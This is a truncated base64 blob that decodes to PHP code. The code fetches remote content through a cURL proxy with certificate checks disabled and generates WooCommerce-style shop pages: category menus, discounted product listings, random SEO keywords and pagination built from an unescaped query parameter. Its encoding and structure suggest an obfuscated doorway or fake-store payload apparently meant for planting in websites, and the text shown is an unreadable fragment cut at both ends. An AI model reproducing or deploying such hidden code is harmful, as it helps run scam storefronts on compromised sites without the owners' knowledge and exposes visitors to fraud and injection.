W9uIGN1cmxBcGkoJHVybCwgJHJlcXVlc3QgPSBbXSwgJGhlYWRlciA9IFtdLCAkbWV0aG9kID0gJ0dFVCcpewogICAgICAgICRjaCA9IGN1cmxfaW5pdCgkdXJsKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEhFQURFUiwgYXJyYXlfbWVyZ2UoWydDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24nXSwgJGhlYWRlcikpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCBmYWxzZSk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBmYWxzZSk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NVU1RPTVJFUVVFU1QsICRtZXRob2QpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCBqc29uX2VuY29kZSgkcmVxdWVzdCkpOwoKICAgICAgICAkcmVzcG9uc2UgPSBjdXJsX2V4ZWMoJGNoKTsKICAgICAgICAkaHR0cENvZGUgPSBjdXJsX2dldGluZm8oJGNoLCBDVVJMSU5GT19IVFRQX0NPREUpOwoKICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7CiAgICAgICAgaWYoJHJlc3BvbnNlID09IGZhbHNlKXsKICAgICAgICAgICAgcmV0dXJuICRyZXNwb25zZTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICByZXR1cm4gWydkYXRhJyA9PiAkcmVzcG9uc2UsICdjb2RlJyA9PiAkaHR0cENvZGVdOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIEN1cmwgc3RhdGljCiAgICAgKiBAcGFyYW0gJHVybAogICAgICogQHBhcmFtICRoZWFkZXIKICAgICAqIEByZXR1cm4gYm9vbHxzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGN1cmxTdGF0aWMoJHVybCwgJGhlYWRlciA9IFtdKXsKICAgICAgICAkY2ggPSBjdXJsX2luaXQoJHVybCk7CiAgICAgICAgaWYoJGhlYWRlcil7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IVFRQSEVBREVSLCAkaGVhZGVyKTsKICAgICAgICB9CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIGZhbHNlKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIGZhbHNlKTsKCiAgICAgICAgJHJlc3BvbnNlID0gY3VybF9leGVjKCRjaCk7CiAgICAgICAgJGNvbnRlbnRUeXBlID0gY3VybF9nZXRpbmZvKCRjaCwgQ1VSTElORk9fQ09OVEVOVF9UWVBFKTsKICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTp7JGNvbnRlbnRUeXBlfSIpOwoKICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7CiAgICAgICAgcmV0dXJuICRyZXNwb25zZTsKICAgIH0KCiAgICAvKioKICAgICAqIEJ1aWxkIGNhdGVnb3J5IGh0bWwKICAgICAqIEBwYXJhbSAkY2F0ZWdvcmllcwogICAgICogQHBhcmFtIGJvb2wgJG1vYmlsZQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGJ1aWxkQ2F0ZWdvcnlIdG1sKCRjYXRlZ29yaWVzLCAkbW9iaWxlID0gZmFsc2UpIHsKICAgICAgICAkaHRtbCA9IFtdOwogICAgICAgICRkaXNwbGF5Q2F0ZWdvcnkgPSBhcnJheV9zbGljZSgkY2F0ZWdvcmllcywgMCwgNCk7CiAgICAgICAgJGNsb3NlQ2F0ZWdvcnkgPSBhcnJheV9zbGljZSgkY2F0ZWdvcmllcywgNCk7CiAgICAgICAgJGlkID0gJG1vYmlsZSA/ICdhY2NvcmRpb24tbWVudS1pdGVtJyA6ICduYXYtbWVudS1pdGVtJzsKCiAgICAgICAgJGdlbmVyYXRlQ2F0ZWdvcnlVcmwgPSBmdW5jdGlvbigkY2F0ZWdvcnkpIHsKICAgICAgICAgICAgcmV0dXJuIHNlbGY6OkxJU1RfUEFHRV9ST1VURVJfTkFNRSAuICIvIiAuICR0aGlzLT51cmxDb2RlKHVjd29yZHMoc3RydG9sb3dlcigkY2F0ZWdvcnlbJ2NhdGVnb3J5X25hbWUnXSkpKSAuICJfIiAuICJ7JGNhdGVnb3J5WydjYXRlZ29yeV9pZCddfS5odG1sIjsKICAgICAgICB9OwoKICAgICAgICAkZ2VuZXJhdGVMaXN0SXRlbSA9IGZ1bmN0aW9uKCRjYXRlZ29yeSwgJGlkLCAkdXJsKSB7CiAgICAgICAgICAgIHJldHVybiA8PDxIVE1MCiAgICAgICAgICAgICAgICA8bGkgaWQ9IiRpZCIgY2xhc3M9Im1lbnUtaXRlbSBtZW51LWl0ZW0tdHlwZS1wb3N0X3R5cGUgbWVudS1pdGVtLW9iamVjdC1wYWdlIG5hcnJvdyI+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyR1cmwiPnskY2F0ZWdvcnlbJ2NhdGVnb3J5X25hbWUnXX08L2E+CiAgICAgICAgICAgICAgICA8L2xpPgpIVE1MOwogICAgICAgIH07CgogICAgICAgIGZvcmVhY2ggKCRkaXNwbGF5Q2F0ZWdvcnkgYXMgJGNhdGVnb3J5KSB7CiAgICAgICAgICAgICRjYXRlZ29yeVVybCA9ICRnZW5lcmF0ZUNhdGVnb3J5VXJsKCRjYXRlZ29yeSk7CiAgICAgICAgICAgICRodG1sW10gPSAkZ2VuZXJhdGVMaXN0SXRlbSgkY2F0ZWdvcnksICRpZCwgJGNhdGVnb3J5VXJsKTsKICAgICAgICB9CgogICAgICAgICRodG1sW10gPSA8PDxIVE1MCiAgICAgICAgICAgIDxsaSBpZD0iJGlkIiBjbGFzcz0ibWVudS1pdGVtLWhhcy1jaGlsZHJlbiBtZW51LWl0ZW0gbWVudS1pdGVtLXR5cGUtIG1lbnUtaXRlbS1vYmplY3QtIGhhcy1zdWIgbmFycm93Ij4KICAgICAgICAgICAgICAgIDxhPkNhdGVnb3JpZXM8L2E+PHNwYW4gY2xhc3M9ImFycm93Ij48L3NwYW4+CkhUTUw7CgogICAgICAgIGlmICghJG1vYmlsZSkgewogICAgICAgICAgICAkaHRtbFtdID0gPDw8SFRNTAogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icG9wdXAiPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImlubmVyIj4KSFRNTDsKICAgICAgICB9CgogICAgICAgICRodG1sW10gPSA8PDxIVE1MCiAgICAgICAgICAgIDx1bCBjbGFzcz0ic3ViLW1lbnUiIHN0eWxlPSdoZWlnaHQ6NTAwcHg7b3ZlcmZsb3cteTphdXRvJz4KSFRNTDsKCiAgICAgICAgZm9yZWFjaCAoJGNsb3NlQ2F0ZWdvcnkgYXMgJGNhdGVnb3J5KSB7CiAgICAgICAgICAgICRjYXRlZ29yeVVybCA9ICRnZW5lcmF0ZUNhdGVnb3J5VXJsKCRjYXRlZ29yeSk7CiAgICAgICAgICAgICRodG1sW10gPSAkZ2VuZXJhdGVMaXN0SXRlbSgkY2F0ZWdvcnksICRpZCwgJGNhdGVnb3J5VXJsKTsKICAgICAgICB9CgogICAgICAgICRodG1sW10gPSA8PDxIVE1MCiAgICAgICAgPC91bD4KSFRNTDsKCiAgICAgICAgaWYgKCEkbW9iaWxlKSB7CiAgICAgICAgICAgICRodG1sW10gPSA8PDxIVE1MCiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgpIVE1MOwogICAgICAgIH0KCiAgICAgICAgJGh0bWxbXSA9IDw8PEhUTUwKICAgIDwvbGk+CkhUTUw7CgogICAgICAgIHJldHVybiBpbXBsb2RlKCcnLCAkaHRtbCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBCdWlsZCBlbGVtZW50cyB0ZXh0CiAgICAgKiBAcGFyYW0gJGtleQogICAgICogQHBhcmFtICR0eXBlCiAgICAgKiBAcGFyYW0gJGxpc3QKICAgICAqIEBwYXJhbSAkcHJvZHVjdAogICAgICogQHJldHVybiBhcnJheQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYnVpbGRFbGVtZW50c0h0bWwoJGtleSwgJHR5cGUgPSAnJywgJGxpc3QgPSBbXSwgJHByb2R1Y3QgPSBbXSl7CiAgICAgICAgc3dpdGNoICgkdHlwZSl7CiAgICAgICAgICAgIGNhc2Ugc2VsZjo6TElTVF9QQUdFX1JPVVRFUl9OQU1FOgogICAgICAgICAgICAgICAgJHRpdGxlID0gIlByb2R1Y3RzIC0geyRsaXN0WzFdWyd0aXRsZSddfSI7CiAgICAgICAgICAgICAgICAkZGVzY3JpcHRpb24gPSAkbGlzdFsxXVsnY3VycmVuY3lfc3ltYm9sJ10gLiIgeyRsaXN0WzFdWydkaXNwbGF5X3ByaWNlJ119LHskbGlzdFsxXVsndGl0bGUnXX0seyRsaXN0WzJdWyd0aXRsZSddfSI7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSBzZWxmOjpERVRBSUxfUEFHRV9ST1VURVJfTkFNRToKICAgICAgICAgICAgICAgICRkaXNjb3VudFByaWNlID0gJHRoaXMtPmdldERpc2NvdW50UHJpY2UoJHByb2R1Y3RbJ2N1cnJlbnRfcHJpY2UnXSk7CiAgICAgICAgICAgICAgICAkcHJpY2UgPSAkdGhpcy0+Z2V0Q3VycmVuY3lTeW1ib2woJHByb2R1Y3RbJ2N1cnJlbmN5X2lkJ10pIC4gIiAiIC4gJGRpc2NvdW50UHJpY2VbJ2Rpc3BsYXlfcHJpY2UnXTsKICAgICAgICAgICAgICAgICR0aXRsZSA9ICRwcm9kdWN0Wyd0aXRsZSddOwogICAgICAgICAgICAgICAgJGRlc2NyaXB0aW9uID0gInskcHJpY2V9LCIgLiBzdWJzdHIoaHRtbHNwZWNpYWxjaGFycyhwcmVnX3JlcGxhY2UoJy88XC8/W14+XSs+LycsICcnLCBodG1sc3BlY2lhbGNoYXJzX2RlY29kZSgkcHJvZHVjdFsnZGVzY3JpcHRpb24nXSkpKSwgMCwgMjAwKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgJHRpdGxlID0gJHRoaXMtPmRvbWFpbiAuICIgLSAiIC4gc2VsZjo6REVGQVVMVF9USVRMRV9OQU1FOwogICAgICAgICAgICAgICAgJGRlc2NyaXB0aW9uID0gJyc7CiAgICAgICAgfQogICAgICAgICRrZXl3b3JkcyA9ICR0aGlzLT5nZXRSYW5kb21LZXlXb3Jkcygka2V5KTsKCiAgICAgICAgJGtleXdvcmRzSHRtbCA9IDw8PEhUTUwKICAgICAgICAgICAgPG1ldGEgbmFtZT0ia2V5d29yZHMiIGNvbnRlbnQ9Inska2V5d29yZHN9Ij4KSFRNTDsKCiAgICAgICAgJGRlc2NyaXB0aW9uSHRtbCA9IDw8PEhUTUwKICAgICAgICAgICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9InskZGVzY3JpcHRpb259Ij4KSFRNTDsKCiAgICAgICAgJHRpdGxlSHRtbCA9IDw8PEhUTUwKICAgICAgICAgICAgPHRpdGxlPnskdGl0bGV9PC90aXRsZT4KSFRNTDsKCiAgICAgICAgcmV0dXJuIFsna2V5d29yZHNfaHRtbCcgPT4gJGtleXdvcmRzSHRtbCwgJ3RpdGxlX2h0bWwnID0+ICR0aXRsZUh0bWwsICdkZXNjcmlwdGlvbl9odG1sJyA9PiAkZGVzY3JpcHRpb25IdG1sXTsKICAgIH0KCiAgICAvKioKICAgICAqIEJ1aWxkIGxpc3QgaHRtbAogICAgICogQHBhcmFtICRsaXN0CiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYWdlTnVtCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYWdlU2l6ZQogICAgICogQHJldHVybiBhcnJheXxzdHJpbmdbXQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYnVpbGRMaXN0SHRtbCgkbGlzdCwgJHBhZ2VOdW0gPSAnJywgJHBhZ2VTaXplID0gJycpewogICAgICAgICRsaXN0SHRtbCA9ICcnOwogICAgICAgICR0dXJuUGFnZUh0bWwgPSAnJzsKICAgICAgICBmb3JlYWNoICgkbGlzdCBhcyAka2V5ID0+ICRwcm9kdWN0cyl7CiAgICAgICAgICAgIGlmKCFpc19pbnQoJGtleSkpewogICAgICAgICAgICAgICAgJGNhdGVnb3J5ID0gZXhwbG9kZSgnXycsICRrZXkpOwogICAgICAgICAgICAgICAgJGNhdGVnb3J5TmFtZSA9ICRjYXRlZ29yeVswXTsKICAgICAgICAgICAgICAgICRjYXRlZ29yeVVybCA9IHNlbGY6OkxJU1RfUEFHRV9ST1VURVJfTkFNRSAuICIvIiAuICR0aGlzLT51cmxDb2RlKHVjd29yZHMoc3RydG9sb3dlcigkY2F0ZWdvcnlOYW1lKSkpIC4gIl97JGNhdGVnb3J5WzFdfS5odG1sIjsKICAgICAgICAgICAgICAgICRsaXN0SHRtbCAuPSA8PDxIVE1MCiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyRjYXRlZ29yeVVybCI+PGgyIGNsYXNzPSJzZWN0aW9uLXRpdGxlIj57JGNhdGVnb3J5TmFtZX08L2gyPjwvYT4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ3b29jb21tZXJjZSBjb2x1bW5zLTUgIj4KICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9InByb2R1Y3RzIHByb2R1Y3RzLWNvbnRhaW5lciBncmlkIHBjb2xzLWxnLTUgcGNvbHMtbWQtNCBwY29scy14cy0zIHBjb2xzLWxzLTIgcHdpZHRoLWxnLTUgcHdpZHRoLW1kLTQgcHdpZHRoLXhzLTMgcHdpZHRoLWxzLTIgaXMtc2hvcnRjb2RlIiBkYXRhLXByb2R1Y3RfbGF5b3V0PSJwcm9kdWN0LWRlZmF1bHQiPgpIVE1MOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHVuc2V0KCRwcm9kdWN0c1sna2V5J10pOwogICAgICAgICAgICBmb3JlYWNoICgkcHJvZHVjdHMgYXMgJHByb2R1Y3QpewogICAgICAgICAgICAgICAgJGxpc3RIdG1sIC49ICA8PDxIVE1MCiAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJwcm9kdWN0LWNvbCBwcm9kdWN0LWRlZmF1bHQgcHJvZHVjdCB0eXBlLXByb2R1Y3QgcG9zdC1pdGVtIHN0YXR1cy1wdWJsaXNoIGluc3RvY2sgaGFzLXBvc3QtdGh1bWJuYWlsIHNhbGUgc2hpcHBpbmctdGF4YWJsZSBwdXJjaGFzYWJsZSBwcm9kdWN0LXR5cGUtc2ltcGxlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icHJvZHVjdC1pbm5lciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwcm9kdWN0LWltYWdlIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIveyRwcm9kdWN0Wyd1cmwnXX0iIGFyaWEtbGFiZWw9InByb2R1Y3QiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJsYWJlbHMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ib25zYWxlIj5TYWxlPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbm5lciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW1nIGRlY29kaW5nPSJhc3luYyIgbG9hZGluZz0ibGF6eSIgc3JjPSJ7JHByb2R1Y3RbJ2ltYWdlX3NyYyddfSIgd2lkdGg9IjMwMCIgaGVpZ2h0PSIzMDAiIGNsYXNzPSJ3b29jb21tZXJjZS1wbGFjZWhvbGRlciB3cC1wb3N0LWltYWdlIiBhbHQ9IlBsYWNlaG9sZGVyIi8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icHJvZHVjdC1jb250ZW50Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iY2F0ZWdvcnktbGlzdCI+PC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJwcm9kdWN0LWxvb3AtdGl0bGUiIGhyZWY9Ii97JHByb2R1Y3RbJ3VybCddfSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMyBjbGFzcz0id29vY29tbWVyY2UtbG9vcC1wcm9kdWN0X190aXRsZSI+eyRwcm9kdWN0Wyd0aXRsZSddfTwvaDM+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJwcmljZSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkZWwgYXJpYS1oaWRkZW49InRydWUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9Indvb2NvbW1lcmNlLVByaWNlLWFtb3VudCBhbW91bnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxiZGk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJ3b29jb21tZXJjZS1QcmljZS1jdXJyZW5jeVN5bWJvbCI+eyRwcm9kdWN0WydjdXJyZW5jeV9zeW1ib2wnXX0geyRwcm9kdWN0WydyYXdfcHJpY2UnXX08L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9iZGk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5zPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9Indvb2NvbW1lcmNlLVByaWNlLWFtb3VudCBhbW91bnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxiZGk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJ3b29jb21tZXJjZS1QcmljZS1jdXJyZW5jeVN5bWJvbCI+eyRwcm9kdWN0WydjdXJyZW5jeV9zeW1ib2wnXX0geyRwcm9kdWN0WydkaXNwbGF5X3ByaWNlJ119PC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYmRpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2lucz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYWRkLWxpbmtzLXdyYXAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJhZGQtbGlua3Mgbm8tZWZmZWN0IGNsZWFyZml4Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InF1YW50aXR5IGJ1dHRvbnNfYWRkZWQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiB2YWx1ZT0iLSIgY2xhc3M9Im1pbnVzIj4tPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9Im51bWJlciIgY2xhc3M9ImlucHV0LXRleHQgcXR5IHRleHQiIG5hbWU9InF1YW50aXR5IiB2YWx1ZT0iMSIgdGl0bGU9IlF0eSIgc2l6ZT0iNCIgcGxhY2Vob2xkZXI9IiIgaW5wdXRtb2RlPSJudW1lcmljIi8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIHZhbHVlPSIrIiBjbGFzcz0icGx1cyI+KzwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiByb2xlPSJidXR0b24iIGFyaWEtbGFiZWw9ImFkZCB0byBjYXJ0IiByZWw9Im5vZm9sbG93Ij5BZGQgdG8gY2FydDwvYT48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2xpPgoKSFRNTDsKICAgICAgICAgICAgICAgIGlmKCRwYWdlTnVtICAmJiAkcGFnZVNpemUpewogICAgICAgICAgICAgICAgICAgICRwcmV2SHRtbCA9ICcnOwogICAgICAgICAgICAgICAgICAgIGlmKCRwYWdlTnVtID4gc2VsZjo6REVGQVVMVF9QQUdFX05VTSAmJiAkcGFnZVNpemUgPT0gc2VsZjo6REVGQVVMVF9QQUdFX1NJWkUpewogICAgICAgICAgICAgICAgICAgICAgICAkcHJldlVybCA9IHNlbGY6OkxJU1RfUEFHRV9ST1VURVJfTkFNRSAuICIvX3skX0dFVFsnaSddfS8iIC4gKCRwYWdlTnVtIC0gMSkgLiAiL3skcGFnZVNpemV9Lmh0bWwiOwogICAgICAgICAgICAgICAgICAgICAgICAkcHJldkh0bWwgPSAnPGxpPjxhIGNsYXNzPSJwcmV2IHBhZ2UtbnVtYmVycyIgcmVsPSJwcmV2IiBocmVmPSIvJy4kcHJldlVybC4nIj48L2E+PC9saT4nOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkbmV4dFVybCA9IHNlbGY6OkxJU1RfUEFHRV9ST1VURVJfTkFNRSAuICIvX3skX0dFVFsnaSddfS8iICAuICgkcGFnZU51bSArIDEpIC4gIi97JHBhZ2VTaXplfS5odG1sIjsKCiAgICAgICAgICAgICAgICAgICAgJHR1cm5QYWdlSHRtbCA9IDw8PEhUTUwKICAgICAgICAgICAgICAgICAgICAkcHJldkh0bWwKICAgICAgICAgICAgICAgICAgICA8bGk+PHNwYW4gYXJpYS1jdXJyZW50PSJwYWdlIiBjbGFzcz0icGFnZS1udW1iZXJzIGN1cnJlbnQiPiRwYWdlTnVtPC9zcGFuPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgPGxpPjxzcGFuIGNsYXNzPSJwYWdlLW51bWJlcnMgZG90cyI+JmhlbGxpcDs8L3NwYW4+PC9saT4KICAgICAgICAgICAgICAgICAgICA8bGk+PGEgY2xhc3M9Im5leHQgcGFnZS1udW1iZXJzIiBhcmlhLWxhYmVsPSJuZXh0IHBhZ2UgbnVtYmVyIiByZWw9Im5leHQiIGhyZWY9Ii8kbmV4dFVybCI+PC9hPjwvbGk+CkhUTUw7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYoIWlzX2ludCgka2V5KSl7CiAgICAgICAgICAgICAgICAkbGlzdEh0bWwgLj0gPDw8SFRNTAogICAgICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgpIVE1MOwogICAgICAgICAgICB9CgogICAgICAgIH0KCiAgICAgICAgJGhvbWVVcmwgPSAiLyI7CiAgICAgICAgJGJyZWFkY3J1bWJIdG1sID0gPDw8SFRNTAogICAgICAgICAgICAgICAgPGEgaXRlbXByb3A9Iml0ZW0iIGhyZWY9InskaG9tZVVybH0iIHRpdGxlPSJHbyB0byBIb21lIFBhZ2UiPjxzcGFuIGl0ZW1wcm9wPSJuYW1lIj5Ib21lPC9zcGFuPjwvYT4KSFRNTDsKCiAgICAgICAgcmV0dXJuIFsnbGlzdF9odG1sJyA9PiAkbGlzdEh0bWwsICdjb2xsZWN0aW9uX2JyZWFkY3J1bWJfaHRtbCcgPT4gJGJyZWFkY3J1bWJIdG1sXSArICgkdHVyblBhZ2VIdG1sID8gWyd0dXJuX3BhZ2VfaHRtbCcgPT4gJHR1cm5QYWdlSHRtbF0gOiBbXSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBCdWlsZCBzdWIgbGlzdCBodG1sCiAgICAgKiBAcGFyYW0gJHN1Ykxpc3QKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBidWlsZFN1Ykxpc3RIdG1sKCRzdWJMaXN0KXsKICAgICAgICAkY2F0ZWdvcnlIdG1sID0gJyc7CiAgICAgICAgZm9yZWFjaCAoJHN1Ykxpc3QgYXMgJGNhdGVnb3J5KXsKICAgICAgICAgICAgJHVybCA9IHNlbGY6OkxJU1RfUEFHRV9ST1VURVJfTkFNRSAuICIvIiAuICR0aGlzLT51cmxDb2RlKHVjd29yZHMoc3RydG9sb3dlcigkY2F0ZWdvcnlbJ2NhdGVnb3J5X25hbWUnXSkpKSAuICJfIiAuICR0aGlzLT5wcm9jZXNzUmF3SWQoInNrdSIgLiAkY2F0ZWdvcnlbJ2NhdGVnb3J5X2lkJ10pIC4gIi5odG1sIjsKICAgICAgICAgICAgJGNhdGVnb3J5SHRtbCAuPSA8PDxIVE1MCiAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJjYXQtaXRlbSI+PGEgaHJlZj0iLyR1cmwiPnskY2F0ZWdvcnlbJ2NhdGVnb3J5X25hbWUnXX08L2E+PC9saT4KSFRNTDsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRjYXRlZ29yeUh0bWw7CiAgICB9CgogICAgLyoqCiAgICAgKiBCdWlsZCBwcm9kdWN0IGxpc3QKICAgICAqIEBwYXJhbSAkcHJvZHVjdAogICAgICogQHBhcmFtICRsaW5rcwogICAgICogQHJldHVybiBhcnJheQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYnVpbGRQcm9kdWN0SHRtbCgkcHJvZHVjdCwgJGxpbmtzKXsKICAgICAgICAkcmF0ZVByaWNlID0gJHRoaXMtPmdldERpc2NvdW50UHJpY2UoJHByb2R1Y3RbJ2N1cnJlbnRfcHJpY2UnXSk7CiAgICAgICAgJGN1cnJlbmN5U3ltYm9sID0gJHRoaXMtPmdldEN1cnJlbmN5U3ltYm9sKCRwcm9kdWN0WydjdXJyZW5jeV9pZCddKTsKICAgICAgICAkcXVhbnRpdHkgPSAkcHJvZHVjdFsncXVhbnRpdHknXSA+PSAxMCA/ICRwcm9kdWN0WydxdWFudGl0eSddIDogMTAwOwogICAgICAgICRpbWFnZUh0bWxQYXJ0cyA9IFtdOwogICAgICAgICRpbWFnZUh0bWxQYXJ0c1tdID0gPDw8SFRNTAogICAgICAgIDxkaXYgY2xhc3M9InByb2R1Y3QtaW1hZ2VzIGltYWdlcyI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InByb2R1Y3QtaW1hZ2Utc2xpZGVyIG93bC1jYXJvdXNlbCBzaG93LW5hdi1ob3ZlciBoYXMtY2NvbHMgY2NvbHMtMSI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbWctdGh1bWJuYWlsIj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbm5lciIgc3R5bGU9ImhlaWdodDogMzB2bWF4O3dpZHRoOiAxMDAlOyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbWcgd2lkdGg9IjEiIGhlaWdodD0iMSIgc3JjPSJ7JHByb2R1Y3RbJ3BpY3R1cmVzJ11bMF19IgogICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsYXNzPSJ3b29jb21tZXJjZS1tYWluLWltYWdlIGltZy1yZXNwb25zaXZlIiBhbHQ9IiIgZGVjb2Rpbmc9ImFzeW5jIiBsb2FkaW5nPSJsYXp5IgogICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhyZWY9InskcHJvZHVjdFsncGljdHVyZXMnXVswXX0iCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd